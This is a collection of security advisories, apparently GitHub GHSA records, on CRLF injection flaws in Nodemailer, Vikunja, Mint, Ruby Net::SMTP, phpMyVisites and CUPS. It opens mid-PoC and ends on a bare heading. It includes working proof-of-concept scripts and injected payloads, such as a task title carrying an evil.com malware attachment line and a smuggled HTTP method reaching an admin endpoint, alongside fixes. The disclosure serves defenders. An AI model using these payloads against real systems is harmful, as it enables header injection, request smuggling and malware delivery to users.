console.log('POSITIVE_LIST_LINE=' + JSON.stringify(headersEnd(positiveRaw).split('\r\n').filter(line => /^List-Unsubscribe:|^X-Injected:/.test(line)).join('\n')));
const control = await transport.sendMail({
from: 'sender@example.test',
to: 'recipient@example.test',
subject: 'safe\r\nX-Injected: no',
text: 'body'
});
const controlRaw = control.message.toString('utf8');
console.log('CONTROL_HAS_INJECTED=' + /\r\nX-Injected: no\r\n/.test(controlRaw));
console.log('CONTROL_SUBJECT=' + JSON.stringify(headersEnd(controlRaw).split('\r\n').filter(line => /^Subject:|^X-Injected:/.test(line)).join('\n')));
const variantKeys = ['help', 'unsubscribe', 'subscribe', 'post', 'owner', 'archive', 'id'];
const result = [];
for (const key of variantKeys) {
const info = await transport.sendMail({
from: 'sender@example.test',
to: 'recipient@example.test',
subject: 'variant ' + key,
list: Object.assign({}, { [key]: { url: key === 'id' ? 'example.test' : 'https://example.test/' + key, comment: 'c\r\nX-Variant-' + key + ': yes' } }),
text: 'body'
});
result.push(key + '=' + new RegExp('\\r\\nX-Variant-' + key + ': yes').test(info.message.toString('utf8')));
}
console.log('VARIANTS=' + result.join(','));
})().catch(err => { console.error(err && err.stack || err); process.exit(1); });
NODE
Observed output in this environment:
POSITIVE_HAS_INJECTED=true
POSITIVE_LIST_LINE="List-Unsubscribe: <https://example.test/u> (ok\nX-Injected: yes)"
CONTROL_HAS_INJECTED=false
CONTROL_SUBJECT="Subject: safe X-Injected: no"
VARIANTS=help=true,unsubscribe=true,subscribe=true,post=true,owner=true,archive=true,id=true
Expected vulnerable output: POSITIVE_HAS_INJECTED=true and all listed variants ending in =true. Expected negative/control output: CONTROL_HAS_INJECTED=false, showing the ordinary Subject header path does not create a separate injected header.
Cleanup: none required; the PoC uses only in-memory message generation.
Impact
A lower-privileged attacker who can influence list.*.comment fields in an application using Nodemailer can inject arbitrary additional headers into generated email messages. This can alter message semantics and downstream mail-client or mail-filter behavior, including adding attacker-controlled metadata headers. The PoC confirms header-boundary injection in the generated RFC822 output; it does not demonstrate SMTP command injection, recipient injection, or code execution.
Suggested remediation
Normalize or reject CR and LF in list.*.comment before constructing prepared List-* headers. Prefer sharing the same CRLF-neutralization behavior used for ordinary header values, or avoid using prepared: true for caller-controlled list comment content. Add regression tests for CRLF in every documented list comment-bearing field and verify that generated messages do not contain attacker-controlled standalone headers.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.8"
},
"package": {
"ecosystem": "npm",
"name": "nodemailer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.0.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T17:36:06Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nNodemailer constructs `List-*` headers from the caller-provided `list` message option using internally prepared header values. The `list.*.comment` field is inserted into those prepared values without removing CR (`\\r`) or LF (`\\n`) characters. Because prepared headers bypass the normal header-value sanitizer and are passed to `mimeFuncs.foldLines()`, a CRLF sequence in a list comment is emitted as an actual header boundary in the generated RFC822 message.\n\nAn application that lets a lower-privileged or unauthenticated user influence `list.help.comment`, `list.unsubscribe.comment`, `list.subscribe.comment`, `list.post.comment`, `list.owner.comment`, `list.archive.comment`, or `list.id.comment` can therefore be made to generate messages containing attacker-chosen additional headers.\n\n### Details\nSource-to-sink evidence:\n\n- `lib/mailer/mail-message.js:241-249` calls `_getListHeaders(this.data.list)` and adds each returned value with `this.message.addHeader(listHeader.key, value)`.\n- `lib/mailer/mail-message.js:253-296` builds each list header value as `{ prepared: true, foldLines: true, value: ... }`.\n- For `List-ID`, `lib/mailer/mail-message.js:272-279` copies `value.comment` into the generated header value. If `mimeFuncs.isPlainText(comment)` returns true, it wraps the comment in quotes rather than encoding or CRLF-normalizing it.\n- For the other `List-*` headers, `lib/mailer/mail-message.js:283-288` copies `value.comment` into `(\u003ccomment\u003e)`. If `mimeFuncs.isPlainText(comment)` returns true, the value is not encoded or CRLF-normalized.\n- `lib/mime-node/index.js:323-351` accepts the prepared header object.\n- `lib/mime-node/index.js:533-540` trusts `options.prepared`; when `foldLines` is set, it pushes `mimeFuncs.foldLines(key + \u0027: \u0027 + value)` directly into the header block.\n- The normal header-value sanitizer path is bypassed because the value is marked prepared. By contrast, ordinary unprepared header values are normalized in the regular header-building path.\n- `lib/mailer/mail-message.js:299-308` removes whitespace and angle brackets from `list.*.url`, so the confirmed injection source is the `comment` field, not the URL field.\n\nDefault/common exposure evidence:\n\n- `lib/nodemailer.js:21-60` exposes the public `createTransport(...).sendMail(...)` flow used by the package.\n- `examples/full.js:106-123` documents `list.unsubscribe.comment` and `list.id.comment` as normal message options.\n- The behavior is in shipped runtime code and does not require test-only code, non-default build steps, or undocumented internals.\n\nFalse-positive screening and negative controls:\n\n- SMTP command construction was separately reviewed. Envelope sender/recipients reject CRLF before SMTP commands, EHLO names strip CRLF, SIZE is numeric, and DSN fields are encoded; no SMTP command-injection variant was confirmed.\n- Ordinary `subject` header input containing CRLF was normalized to a single `Subject:` header and did not create `X-Injected` in the local control case.\n- Address display names and MIME filename/content-type parameters were reviewed by a focused MIME/header audit and were encoded or CRLF-normalized in local checks.\n- `prepared: true` custom headers are an explicit low-level escape hatch, but this issue is different because Nodemailer itself creates prepared headers from the documented `list.*.comment` option.\n\nVariant analysis:\n\nLocal testing confirmed the same root cause for comments in `List-Help`, `List-Unsubscribe`, `List-Subscribe`, `List-Post`, `List-Owner`, `List-Archive`, and `List-ID`. These should be fixed together by rejecting or normalizing CR/LF in list comments before prepared header generation, or by avoiding the prepared-header bypass for caller-controlled list values.\n\nAffected version evidence and uncertainty:\n\n- Confirmed vulnerable: `nodemailer` 8.0.8 at commit `15138a84c543c20aa399218534cdbbfa2ea1ce55`.\n- Git history shows `_getListHeaders` present in historical commits including `22fcff8` (`v4.3.0`) and related list-header work in `9b4f90a` (`v3.1.8`), but older versions were not dynamically tested during this audit.\n- Affected range is therefore recorded as unknown beyond the confirmed current version.\n- No patched version was identified in this checkout.\n\nSeverity rationale:\n\n- AV: The vulnerable library path is reached through application-level message submission in typical networked applications that use Nodemailer.\n- AC: A single CRLF sequence in a documented message option triggers the issue.\n- PR: Conservative assumption that the attacker is a lower-privileged user of an application that exposes list metadata fields. Some applications could expose this to unauthenticated users, but that was not assumed.\n- UI: No maintainer or victim interaction is needed after the application accepts the message object.\n- S: The impact remains in the application/mail-generation security scope.\n- C/I: Injected headers can affect message metadata, mail-client/filter interpretation, and downstream mail-pipeline decisions. No SMTP envelope recipient injection or code execution was demonstrated.\n- A: No availability impact was demonstrated.\n\nFinal self-review:\n\n- Reproduction evidence was generated locally from this checkout with a safe in-memory `streamTransport` PoC and a negative `Subject` control case.\n- The PoC is non-destructive and does not send network traffic outside the process.\n- The observed output contains an actual CRLF-delimited injected header line.\n- Reachability, sanitizer bypass, package exposure, variants, and non-exploitable sibling paths were checked as described above.\n- The affected range is not overclaimed; only the current tested version is confirmed vulnerable.\n\n### PoC\n\nFrom a clean checkout of `nodemailer` at commit `15138a84c543c20aa399218534cdbbfa2ea1ce55`, run:\n\n```bash\nnode \u003c\u003c\u0027NODE\u0027\n\u0027use strict\u0027;\nconst nodemailer = require(\u0027./\u0027);\nconst headersEnd = raw =\u003e raw.slice(0, raw.indexOf(\u0027\\r\\n\\r\\n\u0027));\nconst hasStandaloneInjected = raw =\u003e /\\r\\nX-Injected: yes\\)/.test(raw) || /\\r\\nX-Injected: yes\\r\\n/.test(raw);\n(async () =\u003e {\n const transport = nodemailer.createTransport({ streamTransport: true, buffer: true });\n const positive = await transport.sendMail({\n from: \u0027sender@example.test\u0027,\n to: \u0027recipient@example.test\u0027,\n subject: \u0027control\u0027,\n list: { unsubscribe: { url: \u0027https://example.test/u\u0027, comment: \u0027ok\\r\\nX-Injected: yes\u0027 } },\n text: \u0027body\u0027\n });\n const positiveRaw = positive.message.toString(\u0027utf8\u0027);\n console.log(\u0027POSITIVE_HAS_INJECTED=\u0027 + hasStandaloneInjected(positiveRaw));\n console.log(\u0027POSITIVE_LIST_LINE=\u0027 + JSON.stringify(headersEnd(positiveRaw).split(\u0027\\r\\n\u0027).filter(line =\u003e /^List-Unsubscribe:|^X-Injected:/.test(line)).join(\u0027\\n\u0027)));\n\n const control = await transport.sendMail({\n from: \u0027sender@example.test\u0027,\n to: \u0027recipient@example.test\u0027,\n subject: \u0027safe\\r\\nX-Injected: no\u0027,\n text: \u0027body\u0027\n });\n const controlRaw = control.message.toString(\u0027utf8\u0027);\n console.log(\u0027CONTROL_HAS_INJECTED=\u0027 + /\\r\\nX-Injected: no\\r\\n/.test(controlRaw));\n console.log(\u0027CONTROL_SUBJECT=\u0027 + JSON.stringify(headersEnd(controlRaw).split(\u0027\\r\\n\u0027).filter(line =\u003e /^Subject:|^X-Injected:/.test(line)).join(\u0027\\n\u0027)));\n\n const variantKeys = [\u0027help\u0027, \u0027unsubscribe\u0027, \u0027subscribe\u0027, \u0027post\u0027, \u0027owner\u0027, \u0027archive\u0027, \u0027id\u0027];\n const result = [];\n for (const key of variantKeys) {\n const info = await transport.sendMail({\n from: \u0027sender@example.test\u0027,\n to: \u0027recipient@example.test\u0027,\n subject: \u0027variant \u0027 + key,\n list: Object.assign({}, { [key]: { url: key === \u0027id\u0027 ? \u0027example.test\u0027 : \u0027https://example.test/\u0027 + key, comment: \u0027c\\r\\nX-Variant-\u0027 + key + \u0027: yes\u0027 } }),\n text: \u0027body\u0027\n });\n result.push(key + \u0027=\u0027 + new RegExp(\u0027\\\\r\\\\nX-Variant-\u0027 + key + \u0027: yes\u0027).test(info.message.toString(\u0027utf8\u0027)));\n }\n console.log(\u0027VARIANTS=\u0027 + result.join(\u0027,\u0027));\n})().catch(err =\u003e { console.error(err \u0026\u0026 err.stack || err); process.exit(1); });\nNODE\n```\n\nObserved output in this environment:\n\n```text\nPOSITIVE_HAS_INJECTED=true\nPOSITIVE_LIST_LINE=\"List-Unsubscribe: \u003chttps://example.test/u\u003e (ok\\nX-Injected: yes)\"\nCONTROL_HAS_INJECTED=false\nCONTROL_SUBJECT=\"Subject: safe X-Injected: no\"\nVARIANTS=help=true,unsubscribe=true,subscribe=true,post=true,owner=true,archive=true,id=true\n```\n\nExpected vulnerable output: `POSITIVE_HAS_INJECTED=true` and all listed variants ending in `=true`. Expected negative/control output: `CONTROL_HAS_INJECTED=false`, showing the ordinary `Subject` header path does not create a separate injected header.\n\nCleanup: none required; the PoC uses only in-memory message generation.\n\n### Impact\n\nA lower-privileged attacker who can influence `list.*.comment` fields in an application using Nodemailer can inject arbitrary additional headers into generated email messages. This can alter message semantics and downstream mail-client or mail-filter behavior, including adding attacker-controlled metadata headers. The PoC confirms header-boundary injection in the generated RFC822 output; it does not demonstrate SMTP command injection, recipient injection, or code execution.\n\n### Suggested remediation\n\nNormalize or reject CR and LF in `list.*.comment` before constructing prepared `List-*` headers. Prefer sharing the same CRLF-neutralization behavior used for ordinary header values, or avoid using `prepared: true` for caller-controlled list comment content. Add regression tests for CRLF in every documented `list` comment-bearing field and verify that generated messages do not contain attacker-controlled standalone headers.",
"id": "GHSA-268h-hp4c-crq3",
"modified": "2026-06-15T17:36:06Z",
"published": "2026-06-15T17:36:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-268h-hp4c-crq3"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodemailer/nodemailer"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Nodemailer: CRLF injection in Nodemailer List-* header comments allows arbitrary message header injection"
}
GHSA-29QC-HQRG-8MPW
Vulnerability from github – Published: 2022-05-01 17:47 – Updated: 2022-05-01 17:47CRLF injection vulnerability in phpMyVisites before 2.2 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in the url parameter, when the pagename parameter begins with "FILE:".
{
"affected": [],
"aliases": [
"CVE-2007-0892"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-02-12T23:28:00Z",
"severity": "HIGH"
},
"details": "CRLF injection vulnerability in phpMyVisites before 2.2 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in the url parameter, when the pagename parameter begins with \"FILE:\".",
"id": "GHSA-29qc-hqrg-8mpw",
"modified": "2022-05-01T17:47:51Z",
"published": "2022-05-01T17:47:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-0892"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/32428"
},
{
"type": "WEB",
"url": "http://marc.info/?l=full-disclosure\u0026m=117121596803908\u0026w=2"
},
{
"type": "WEB",
"url": "http://osvdb.org/33177"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/459792/100/0/threaded"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2G7H-7RQR-9P4R
Vulnerability from github – Published: 2026-04-10 15:35 – Updated: 2026-06-08 20:08Summary
The CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as ATTACH, VALARM, or ORGANIZER.
Details
The ParseTodos function at pkg/caldav/caldav.go:146 concatenates the task summary directly into the iCalendar output:
SUMMARY:` + t.Summary + getCaldavColor(t.Color)
RFC 5545 Section 3.3.11 requires TEXT property values to escape newlines as \n, semicolons as \;, commas as \,, and backslashes as \\. None of these escaping rules are applied to Summary, Categories, UID, project name, or alarm Description fields.
Go's JSON decoder preserves literal CR/LF bytes in string values, so task titles created via the REST API retain CRLF characters. When these tasks are served via CalDAV, the newlines break the SUMMARY property and the subsequent text is parsed by CalDAV clients as independent iCalendar properties.
Proof of Concept
Tested on Vikunja v2.2.2.
import requests
from requests.auth import HTTPBasicAuth
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
token = requests.post(f"{API}/login",
json={"username": "alice", "password": "Alice1234!"}).json()["token"]
h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
proj = requests.put(f"{API}/projects", headers=h, json={"title": "CalDAV Test"}).json()
# create task with CRLF injection in title
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={
"title": "Meeting\r\nATTACH:https://evil.com/malware.exe\r\nX-INJECTED:pwned"
}).json()
# set UID (normally done by CalDAV sync; here via sqlite for PoC)
# sqlite3 vikunja.db "UPDATE tasks SET uid='inject-test-001' WHERE id={task['id']};"
TASK_UID = "inject-test-001"
# fetch via CalDAV
caldav_token = requests.put(f"{API}/user/settings/token/caldav", headers=h).json()["token"]
r = requests.get(f"{TARGET}/dav/projects/{proj['id']}/{TASK_UID}.ics",
auth=HTTPBasicAuth("alice", caldav_token))
print(r.text)
Output:
BEGIN:VCALENDAR
VERSION:2.0
BEGIN:VTODO
UID:inject-test-001
DTSTAMP:20260327T130452Z
SUMMARY:Meeting
ATTACH:https://evil.com/malware.exe
X-INJECTED:pwned
CREATED:20260327T130452Z
LAST-MODIFIED:20260327T130452Z
END:VTODO
END:VCALENDAR
The ATTACH and X-INJECTED lines appear as separate, valid iCalendar properties. CalDAV clients will parse these as legitimate properties.
Impact
An authenticated user with write access to a shared project can create tasks with CRLF-injected titles via the REST API. When other users sync via CalDAV, the injected properties take effect in their calendar clients. This enables:
- Injecting malicious attachment URLs (ATTACH) that clients may auto-download or display
- Creating fake alarm notifications (VALARM) for social engineering
- Spoofing organizer identity (ORGANIZER)
Recommended Fix
Apply RFC 5545 TEXT value escaping to all user-controlled fields:
func escapeICal(s string) string {
s = strings.ReplaceAll(s, "\\", "\\\\")
s = strings.ReplaceAll(s, ";", "\\;")
s = strings.ReplaceAll(s, ",", "\\,")
s = strings.ReplaceAll(s, "\n", "\\n")
s = strings.ReplaceAll(s, "\r", "")
return s
}
Apply escapeICal() to t.Summary, config.Name, t.Categories items, a.Description, t.UID, and r.UID.
Found and reported by aisafe.io
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.2.2"
},
"package": {
"ecosystem": "Go",
"name": "code.vikunja.io/api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35601"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T15:35:05Z",
"nvd_published_at": "2026-04-10T17:17:03Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as `ATTACH`, `VALARM`, or `ORGANIZER`.\n\n## Details\n\nThe `ParseTodos` function at `pkg/caldav/caldav.go:146` concatenates the task summary directly into the iCalendar output:\n\n```go\nSUMMARY:` + t.Summary + getCaldavColor(t.Color)\n```\n\nRFC 5545 Section 3.3.11 requires TEXT property values to escape newlines as `\\n`, semicolons as `\\;`, commas as `\\,`, and backslashes as `\\\\`. None of these escaping rules are applied to `Summary`, `Categories`, `UID`, project name, or alarm `Description` fields.\n\nGo\u0027s JSON decoder preserves literal CR/LF bytes in string values, so task titles created via the REST API retain CRLF characters. When these tasks are served via CalDAV, the newlines break the `SUMMARY` property and the subsequent text is parsed by CalDAV clients as independent iCalendar properties.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2.\n\n```python\nimport requests\nfrom requests.auth import HTTPBasicAuth\n\nTARGET = \"http://localhost:3456\"\nAPI = f\"{TARGET}/api/v1\"\n\ntoken = requests.post(f\"{API}/login\",\n json={\"username\": \"alice\", \"password\": \"Alice1234!\"}).json()[\"token\"]\nh = {\"Authorization\": f\"Bearer {token}\", \"Content-Type\": \"application/json\"}\n\nproj = requests.put(f\"{API}/projects\", headers=h, json={\"title\": \"CalDAV Test\"}).json()\n\n# create task with CRLF injection in title\ntask = requests.put(f\"{API}/projects/{proj[\u0027id\u0027]}/tasks\", headers=h, json={\n \"title\": \"Meeting\\r\\nATTACH:https://evil.com/malware.exe\\r\\nX-INJECTED:pwned\"\n}).json()\n\n# set UID (normally done by CalDAV sync; here via sqlite for PoC)\n# sqlite3 vikunja.db \"UPDATE tasks SET uid=\u0027inject-test-001\u0027 WHERE id={task[\u0027id\u0027]};\"\nTASK_UID = \"inject-test-001\"\n\n# fetch via CalDAV\ncaldav_token = requests.put(f\"{API}/user/settings/token/caldav\", headers=h).json()[\"token\"]\nr = requests.get(f\"{TARGET}/dav/projects/{proj[\u0027id\u0027]}/{TASK_UID}.ics\",\n auth=HTTPBasicAuth(\"alice\", caldav_token))\nprint(r.text)\n```\n\nOutput:\n```\nBEGIN:VCALENDAR\nVERSION:2.0\nBEGIN:VTODO\nUID:inject-test-001\nDTSTAMP:20260327T130452Z\nSUMMARY:Meeting\nATTACH:https://evil.com/malware.exe\nX-INJECTED:pwned\nCREATED:20260327T130452Z\nLAST-MODIFIED:20260327T130452Z\nEND:VTODO\nEND:VCALENDAR\n```\n\nThe `ATTACH` and `X-INJECTED` lines appear as separate, valid iCalendar properties. CalDAV clients will parse these as legitimate properties.\n\n## Impact\n\nAn authenticated user with write access to a shared project can create tasks with CRLF-injected titles via the REST API. When other users sync via CalDAV, the injected properties take effect in their calendar clients. This enables:\n- Injecting malicious attachment URLs (`ATTACH`) that clients may auto-download or display\n- Creating fake alarm notifications (`VALARM`) for social engineering\n- Spoofing organizer identity (`ORGANIZER`)\n\n## Recommended Fix\n\nApply RFC 5545 TEXT value escaping to all user-controlled fields:\n\n```go\nfunc escapeICal(s string) string {\n s = strings.ReplaceAll(s, \"\\\\\", \"\\\\\\\\\")\n s = strings.ReplaceAll(s, \";\", \"\\\\;\")\n s = strings.ReplaceAll(s, \",\", \"\\\\,\")\n s = strings.ReplaceAll(s, \"\\n\", \"\\\\n\")\n s = strings.ReplaceAll(s, \"\\r\", \"\")\n return s\n}\n```\n\nApply `escapeICal()` to `t.Summary`, `config.Name`, `t.Categories` items, `a.Description`, `t.UID`, and `r.UID`.\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-2g7h-7rqr-9p4r",
"modified": "2026-06-08T20:08:35Z",
"published": "2026-04-10T15:35:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2g7h-7rqr-9p4r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35601"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/pull/2580"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-vikunja/vikunja"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Vikunja has iCalendar Property Injection via CRLF in CalDAV Task Output"
}
GHSA-2H3C-5VQM-GQFH
Vulnerability from github – Published: 2022-05-14 03:14 – Updated: 2022-05-14 03:14Net::SMTP in Ruby before 2.4.0 is vulnerable to SMTP command injection via CRLF sequences in a RCPT TO or MAIL FROM command, as demonstrated by CRLF sequences immediately before and after a DATA substring.
{
"affected": [],
"aliases": [
"CVE-2015-9096"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-06-12T20:29:00Z",
"severity": "MODERATE"
},
"details": "Net::SMTP in Ruby before 2.4.0 is vulnerable to SMTP command injection via CRLF sequences in a RCPT TO or MAIL FROM command, as demonstrated by CRLF sequences immediately before and after a DATA substring.",
"id": "GHSA-2h3c-5vqm-gqfh",
"modified": "2022-05-14T03:14:14Z",
"published": "2022-05-14T03:14:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-9096"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/issues/215"
},
{
"type": "WEB",
"url": "https://github.com/ruby/ruby/commit/0827a7e52ba3d957a634b063bf5a391239b9ffee"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/137631"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2018/07/msg00012.html"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2017/dsa-3966"
},
{
"type": "WEB",
"url": "http://www.mbsd.jp/Whitepaper/smtpi.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2M9R-8MXG-WQGX
Vulnerability from github – Published: 2022-05-14 03:14 – Updated: 2022-05-14 03:14Insufficient restriction of IPP filters in CUPS in Google Chrome OS prior to 62.0.3202.74 allowed a remote attacker to execute a command with the same privileges as the cups daemon via a crafted PPD file, aka a printer zeroconfig CRLF issue.
{
"affected": [],
"aliases": [
"CVE-2017-15400"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-02-07T23:29:00Z",
"severity": "HIGH"
},
"details": "Insufficient restriction of IPP filters in CUPS in Google Chrome OS prior to 62.0.3202.74 allowed a remote attacker to execute a command with the same privileges as the cups daemon via a crafted PPD file, aka a printer zeroconfig CRLF issue.",
"id": "GHSA-2m9r-8mxg-wqgx",
"modified": "2022-05-14T03:14:40Z",
"published": "2022-05-14T03:14:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-15400"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2017/10/stable-channel-update-for-chrome-os_27.html"
},
{
"type": "WEB",
"url": "https://crbug.com/777215"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201908-08"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2018/dsa-4243"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2PG6-44CX-C49V
Vulnerability from github – Published: 2026-07-09 23:19 – Updated: 2026-07-09 23:19Summary
Mint's HTTP/1 request encoder splices the caller-supplied method and target directly into the request line without character validation. An application that forwards attacker-controlled input as the HTTP method or the target to Mint.HTTP.request/5 is exposed to request-line CRLF injection, allowing the attacker to terminate the request line early, inject arbitrary headers, and pipeline a fully attacker-chosen second request onto the same TCP connection.
Details
encode_request_line/2 in lib/mint/http1/request.ex writes method and target to the wire verbatim. encode_headers/1 validates header names and values, but there is no equivalent validate_method!/1.
Mint 1.7.0 added validate_request_target/2, which rejects CRLF and other control characters in target by default and closes the path/query vector. The method field remains unvalidated, so a CRLF-bearing method such as "GET / HTTP/1.1\r\nX-Smuggled: 1\r\nGET /admin" is accepted and written to the socket as-is. Bytes after the first \r\n are interpreted by the peer as an injected header, or, with a second \r\n, as an additional pipelined request.
PoC
- Stand up a Mint-using gateway/proxy that calls
Mint.HTTP.request(conn, method, "/", [], nil)withmethodtaken from caller input. - Send a request whose forwarded method is
"GET / HTTP/1.1\r\nX-Smuggled-Header: pwned\r\nGET /admin/delete-everything". - Observe the bytes received by the upstream server: the smuggled header line and the second request line appear verbatim in the outbound stream.
Impact
CRLF injection / HTTP request smuggling in the HTTP/1 client encoder, exploitable under default configuration whenever an application passes caller-influenced input as the HTTP method. An attacker who controls the method can inject arbitrary outbound headers (forged Host, Authorization, cache-poisoning headers) and smuggle additional, fully attacker-chosen requests to the upstream server over the same connection, potentially reaching endpoints the legitimate caller never intended to invoke.
Resources
- Introduction commit: https://github.com/elixir-mint/mint/commit/8db1acff30b6a9433762c18b1e1f891b8c1f74f7
- Patch commit: https://github.com/elixir-mint/mint/commit/fad091454cbb7449b19edb8e1fee12ca7cf28c3a
{
"affected": [
{
"package": {
"ecosystem": "Hex",
"name": "mint"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48861"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-09T23:19:12Z",
"nvd_published_at": "2026-06-02T16:16:44Z",
"severity": "LOW"
},
"details": "### Summary\n\nMint\u0027s HTTP/1 request encoder splices the caller-supplied `method` and `target` directly into the request line without character validation. An application that forwards attacker-controlled input as the HTTP method or the target to `Mint.HTTP.request/5` is exposed to request-line CRLF injection, allowing the attacker to terminate the request line early, inject arbitrary headers, and pipeline a fully attacker-chosen second request onto the same TCP connection.\n\n### Details\n\n`encode_request_line/2` in `lib/mint/http1/request.ex` writes `method` and `target` to the wire verbatim. `encode_headers/1` validates header names and values, but there is no equivalent `validate_method!/1`.\n\nMint 1.7.0 added `validate_request_target/2`, which rejects CRLF and other control characters in `target` by default and closes the path/query vector. The `method` field remains unvalidated, so a CRLF-bearing method such as `\"GET / HTTP/1.1\\r\\nX-Smuggled: 1\\r\\nGET /admin\"` is accepted and written to the socket as-is. Bytes after the first `\\r\\n` are interpreted by the peer as an injected header, or, with a second `\\r\\n`, as an additional pipelined request.\n\n### PoC\n\n1. Stand up a Mint-using gateway/proxy that calls `Mint.HTTP.request(conn, method, \"/\", [], nil)` with `method` taken from caller input.\n2. Send a request whose forwarded method is `\"GET / HTTP/1.1\\r\\nX-Smuggled-Header: pwned\\r\\nGET /admin/delete-everything\"`.\n3. Observe the bytes received by the upstream server: the smuggled header line and the second request line appear verbatim in the outbound stream.\n\n### Impact\n\nCRLF injection / HTTP request smuggling in the HTTP/1 client encoder, exploitable under default configuration whenever an application passes caller-influenced input as the HTTP method. An attacker who controls the method can inject arbitrary outbound headers (forged `Host`, `Authorization`, cache-poisoning headers) and smuggle additional, fully attacker-chosen requests to the upstream server over the same connection, potentially reaching endpoints the legitimate caller never intended to invoke.\n\n## Resources\n\n* Introduction commit: https://github.com/elixir-mint/mint/commit/8db1acff30b6a9433762c18b1e1f891b8c1f74f7\n* Patch commit: https://github.com/elixir-mint/mint/commit/fad091454cbb7449b19edb8e1fee12ca7cf28c3a",
"id": "GHSA-2pg6-44cx-c49v",
"modified": "2026-07-09T23:19:12Z",
"published": "2026-07-09T23:19:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/elixir-mint/mint/security/advisories/GHSA-2pg6-44cx-c49v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48861"
},
{
"type": "WEB",
"url": "https://github.com/elixir-mint/mint/commit/fad091454cbb7449b19edb8e1fee12ca7cf28c3a"
},
{
"type": "WEB",
"url": "https://cna.erlef.org/cves/CVE-2026-48861.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/elixir-mint/mint"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-48861"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "mint has potential CRLF injection in its HTTP request line via unvalidated `method`/`target`"
}
Mitigation
